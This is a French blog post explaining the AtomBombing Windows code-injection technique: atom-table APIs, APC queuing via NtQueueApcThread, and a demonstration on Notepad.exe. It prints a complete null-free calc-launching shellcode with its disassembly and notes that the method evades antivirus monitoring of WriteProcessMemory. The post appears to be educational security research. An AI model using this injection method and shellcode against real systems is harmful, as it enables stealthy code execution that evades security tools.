dimanche 31 décembre 2017

AtomBombing Injection


I.    Introduction

 
Il existe différent mode d'injection de code dans une applications cible. Il est intéressant de voir qu'il existe de nouvelle technique ou des apis ressortant du passer.

Nous allons parler de cette technique apparu en octobre 2016 mis en avant par une équipe de chercheurs en sécurité de la société enSilo.

l'AtomBombing injection, ce nom est basé sur les Api utilisées pour introduire du code dans un processus cible.

Cette nouvelle technique d'injection de code pour Windows, ce base sur le mécanisme des Table d'Atom de windows.

Une table d'Atom dans l'architecture de windows sert pour partager / échanger des données, c'est-à-dire des atomes, entre processus, en utilisant la mémoire système partagée. Les tables Atom sont utiles lorsque les processus doivent accéder aux mêmes chaînes. Microsoft définit les tables Atom comme suit:

"Une table d'Atom est une table définie par le système qui stocke des chaînes accessible avec des identifiants. Une application place une chaîne dans une table Atom et reçoit un entier de 16 bits comme identifiant dans la table que l'on appelé un "Atom" qui peut être utilisé pour accéder à la chaîne, qui a été placée dans la "Atom Table". C'est  ce que l'on  appel un nom d'atome".

L'idée derrière ce nouveau mode d'injection  est que l'on peut utiliser cette table pour transfert du code en  créant  un nom d'atome contenant le code malveillant sous la forme d'une chaîne par exemple un shellcode au lieu d'écrire une chaîne légitime, puis de contraindre le processus cible à charger le code au travers d'une Api récupérant la chaîne via l'identifiant référencé par l'Atom et ensuite de forcer à l'exécuter ce code malveillant.

II.    L'injection AtomBombing en 3 étapes clés

·  En premier disposer ou déterminer une zone mémoire dans le processus cible pouvant accueillir le bloque mémoire à injecter qui peut être exécutable et acceptant l'écriture
Cela peut être dans un cave code ou en appelant l'Api  "VirtualAllocEx" dans le processus malveillant vers la cible.

·  Appelez la fonction "GlobalAddAtom" via le processus malveillant pour injectez le code malveillant sous la forme d'une chaîne dans la table Atom globale du systéme. faut bien garder à l'esprit qu'une table Atom globale est accessible à tous les processus du système.

·  Utilisez un appel de procédure asynchrone (APC)  pour forcer appel de la fonction "GlobalGetAtomName", afin de contraindre le processus cible légitime à copier le code malveillant via la  table Atom globale dans l'espace mémoire de son  processus via l'Atom

En suite le processus malveillant via différente technique n'a pas plus cas forcer l'exécution du code dans le processus qui à été inoculer par notre code malveillant comme il dispose de l'emplacement via l'address ou est stocké celu-ci  dans le processus  cible.

L'attaque peut fonctionner contre tout processus ayant un thread dans un état d'attente pour l'utilisation des APC.

Revenons sur les Apis clés lié à la gestion des Atoms

Historiquement ces fonctions permettent échanger des strings via une table système et référencé via un identifiant codé sur un WORD. Elle sert à des processus à échanger des donnée nommé via mécanisme DDE  (Dynamic Data Exchange ).

Schéma du principe du DDE via Table d'Atom























Les interactions des Apis interagissant avec la Table d'Atom  























 
Les deux d'API a regardé sont:
  • GlobalAddAtom(..) : Ajoute une chaîne de caractères à la table Atom globale et renvoie une valeur unique (un atome) identifiant la chaîne sur un WORD.
  • GlobalGetAtomName(..) : Récupère une copie de la chaîne de caractères associée à l'atome global spécifié.
En appelant GlobalAddAtom(..), vous pouvez stocker un tampon terminé par 0x00 dans la table atom globale. Cette table est accessible depuis tous les autres processus du système. Le tampon peut ensuite être récupéré en appelant GlobalGetAtomName(..) .

GlobalGetAtomName attend un pointeur vers le buffer de sortie, de sorte que l'appelant choisit où le buffer sera stocké.

Via un petit programme, nous montrons ce processus DDE entre 2 process.
L'un insére dans la table d'Atom et récupérer l'identificant dans notre exemple 0x343. Et l'autre récupérer la chaîne via l'Atom ( 0x343 ).

 
































Important, les chaînes pouvant être contenu dans la Table d'Atom ont une taille maximum de 256 octets. Et également elle est conçu pour pas contenir de doublons . Si vous deux applications insérer la même chaîne la table d'Atom vous renverra le même ATOM.

Maintenant rentrons dans notre cas pratique

Ajouter un buffer contenant un shellcode à la table Atom globale en appelant GlobalAddAtom(..), puis que le processus cible appelle GlobalGetAtomName(..), cela permet de copier le shellcode vers le processus cible, sans appeler les classiques API WriteProcessMemory(..) qui son scruté par les Anti-virus.
L'appel de GlobalAddAtom(..)est basique dans le l'injecteur, mais la partie la plus subtile et de contraindre le processus cible à  appeler l'API GlobalGetAtomName(..)

Le prototype de l'API GlobalGetAtomName(..) est la suivant:

 
  UINT WINAPI GlobalGetAtomName ( _In_ ATOM nAtom, _Out_ LPTSTR lpBuffer, _In_ int nSize )

 
Puisque GlobalGetAtomName attend 3 paramètres. Nous ne pouvons pas utiliser QueueUserApc(..) qui ne prend que un paramètre.


Il faut ce tourné vers d'autre API Native APC qui elle peuvent prendre jusqu'a 3 paramêtres qui sont NtQueueApcThread (..) ou ZwQueueApcThread(..).

Maintenant pour notre shellcode, il doit respecter 2 contraintes l'une pas contenir de 0x00. Hormis délimité la fin de chaîne et surtout ne pas dépasser 256 octets.

Pour notre exemple nous avons utiliser un shellcode de type WinExec lançant la calculatrice. Etant qu'a faire qui soit compatible sur Vista / Win7

Pour cela nous allons utiliser un outils disposant de différents Shellcode auto construit
nommé ConstructShellCodePEBWinExecCalc.exe. Le prototype 4 répond à nos deux critères de taille et n'incluans pas de 0x00.



























Nous mettons le shellcode dans le tableau en dessous en rajoutant le fin de chaîne 0x00.

\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30
\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39
\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF
\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11
\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A
\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3\x00

Bon vu comme cela c'est pas très explicite. Nous vous mettons le codes Assembleur correspondant 


00000000:   78 35                                  JS 35h (rel8)(+35h ->:00000037)'Saut si drapeau de signe vaut 1 (SF=1)'
00000002:   35 8B EC 51 53                  XOR EAX,5351EC8Bh
00000007:   57                                       PUSH EDI
00000008:   EB 6D                                 JMP 6Dh +6Dh ->:00000077)
0000000A:   60                                      PUSHAD
0000000B:   8B 6C 24 24                       MOV EBP,[ESP+24h]
0000000F:   8B 45 3C                            MOV EAX,DWORD PTR [EBP+3Ch]
00000012:   8B 54 05 78                       MOV EDX,DWORD PTR[EBP+EAX+78h]
00000016:   01 EA                                 ADD EDX,EBP
00000018:   8B 4A 18                            MOV ECX,[EDX+18h]
0000001B:   8B 5A 20                           MOV EBX,DWORD PTR [EDX+20h]
0000001E:   01 EB                                 ADD EBX,EBP
00000020:   E3 34                                  JECXZ 34h (-FFFFFFCCh ->:00000056)
00000022:   49                                       DEC ECX
00000023:   8B 34 8B                            MOV ESI,[EBX+ECX*4]
00000026:   01 EE                                  ADD ESI,EBP
00000028:   31 FF                                  XOR EDI,EDI
0000002A:   31 C0                                 XOR EAX,EAX
0000002C:   FC                                      CLD
0000002D:   AC                                     LODSB
0000002E:   84 C0                                 TEST AL,AL
00000030:   74 07                                  JZ 07h (-FFFFFFF9h ->:00000039)
00000032:   C1 CF 0D                            ROR EDI,0Dh (13)
00000035:   01 C7                                 ADD EDI,EAX
00000037:   EB F4                                 JMP F4h (-0Ch ->:0000002D)
00000039:   3B 7C 24 28                       CMP EDI,[ESP+28h]
0000003D:   75 E1                                 JNZ E1h (rel8)(-1Fh ->:00000020)
0000003F:   8B 5A 24                            MOV EBX,DWORD PTR [EDX+24h]
00000042:   01 EB                                 ADD EBX,EBP
00000044:   66 8B 0C 4B                       MOV CX,WORD PTR DS:[EBX+ECX*2]
00000048:   8B 5A 1C                           MOV EBX,DWORD PTR [EDX+1Ch]
0000004B:   01 EB                                 ADD EBX,EBP
0000004D:   8B 04 8B                            MOV EAX,DWORD PTR[EBX+ECX*4]
00000050:   01 E8                                  ADD EAX,EBP
00000052:   89 44 24 1C                       MOV DWORD PTR[ESP+1Ch],EAX
00000056:   61                                       POPAD
00000057:   C3                                      RET
00000058:   56                                       PUSH ESI
00000059:   57                                       PUSH EDI
0000005A:   33 C9                                 XOR ECX,ECX
0000005C:   64 8B 71 30                       MOV ESI,DWORD PTR FS:[ECX+30h]
00000060:   8B 76 0C                            MOV ESI,[ESI+0Ch]
00000063:   8B 76 1C                            MOV ESI,[ESI+1Ch]
00000066:   8B 46 08                            MOV EAX,DWORD PTR[ESI+08h]
00000069:   8B 7E 20                            MOV EDI,[ESI+20h]
0000006C:   8B 36                                 MOV ESI,DWORD PTR[ESI]
0000006E:   66 39 4F 18                        CMP WORD PTR[EDI+18h],CX
00000072:   75 F2                                  JNZ F2h (rel8)(-0Eh ->:00000066)
00000074:   5F                                       POP EDI
00000075:   5E                                       POP ESI
00000076:   C3                                      RET
00000077:   68 98 FE 8A 0E                  PUSH 0E8AFE98h "˜þŠ
" (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
0000007C:   E8 D7 FF FF FF                  CALL FFFFFFD7h (-29h ->:00000058)
00000081:   50                                       PUSH EAX
00000082:   E8 83 FF FF FF                   CALL FFFFFF83h (-7Dh ->:0000000A)
00000087:   BB 11 11 11 11                  MOV EBX,11111111h " "
0000008C:   81 F3 11 11 11 11             XOR EBX,11111111h 
00000092:   53                                       PUSH EBX
00000093:   68 2E 65 78 65                   PUSH 6578652Eh ".exe" / {46 101 120 101} / < w:30821 | w:11877 >
00000098:   68 63 61 6C 63                  PUSH 636C6163h "calc" / {99 97 108 99} / < w:27747 | w:25441 >
0000009D:   8B FC                                 MOV EDI,ESP
0000009F:   6A 01                                 PUSH 01h (1)
000000A1:   57                                      PUSH EDI
000000A2:   FF D0                                 CALL EAX
000000A4:   5F                                      POP EDI
000000A5:   5B                                      POP EBX
000000A6:   8B E5                                 MOV ESP,EBP
000000A8:   5D                                      POP EBP
000000A9:   C3                                      RET
000000AA:   00     
           

Nous allons passer le shellcode dans un analyseur de shellcode maison permettant d'extraire et donner un diagramme encore plus simple du code.

   




























Maintenant nous avons plus qu'a positionner ce shellcode dans la Table d'Atom et obtenir un Atom.



























Nous voyons dans notre exemple l'Atom correspondant est 0xC4C5

Si a partir de notre programme, nous récupérons la chaîne correspondante via
l'API GlobalGetAtomName(..), nous obtenons la vu suivant:

 

 

 

 

 

 

III.    Mise en pratique de l'injection




Maintenant nous allons injecter le shellcode dans un programme standard
Pour notre exemple nous utilisons comme cible "Notepad.exe"

nous injectons le shellcode via notre injecteur sur notre processus Notepad.exe qui a dans notre exemple le process ID = 3536 et comme Thread ID principale 2292

dans notre exemple nous avons utiliser l'API VirtualAllocEx(..) pour obtenir un bloc de mémoire PAGE_EXECUTE_READWRITE qui ce trouve à l'addresse 0x001A0000 dans l'exemple.

Pour visualiser la mémoire du processus Notepad.exe, nous avons utilisé un outil d'analyse de processus X32 permettant de faire un dump de la mémoire

Vous pouvez voir dans la capture écran suivant l'analyse de la mémoire correspondant
En fait, vous ne voyez pas le shellcode injecté, car pour l'instant le thread principal n'a pas encore traité les APC en attente pour ce thread principal.

























En fait, pour déclencher ou contrainte le processus Notepad.exe à traiter les APC en attente, il suffit d'appeler la boite ouvrir ou enregistrer pour voir les l'appel effectué et donc la mémoire rempli du shellcode.

 

 

 

 

 

 

 

 

 

IV.    Conclusions


Il est intéressant de voir le mécanisme windows et le fonctionnement des APIs 
En regardant bien cette technique à aussi d'autre avantage comme écrire dans un processus X64 à partir d'un processus X32 ou aussi en allant plus loin on peut regarder d'autre fonction utilisant des table d'Atom.

Car le système utilise des tables atomiques qui ne sont pas directement accessibles aux applications. Cependant, l'application utilise ces atomes lors de l'appel d'une variété de fonctions. Par exemple, les formats de presse-papiers enregistrés sont stockés dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClipboardFormat(..). De plus, les classes enregistrées sont stockées dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClass(..) ou RegisterClassEx(..).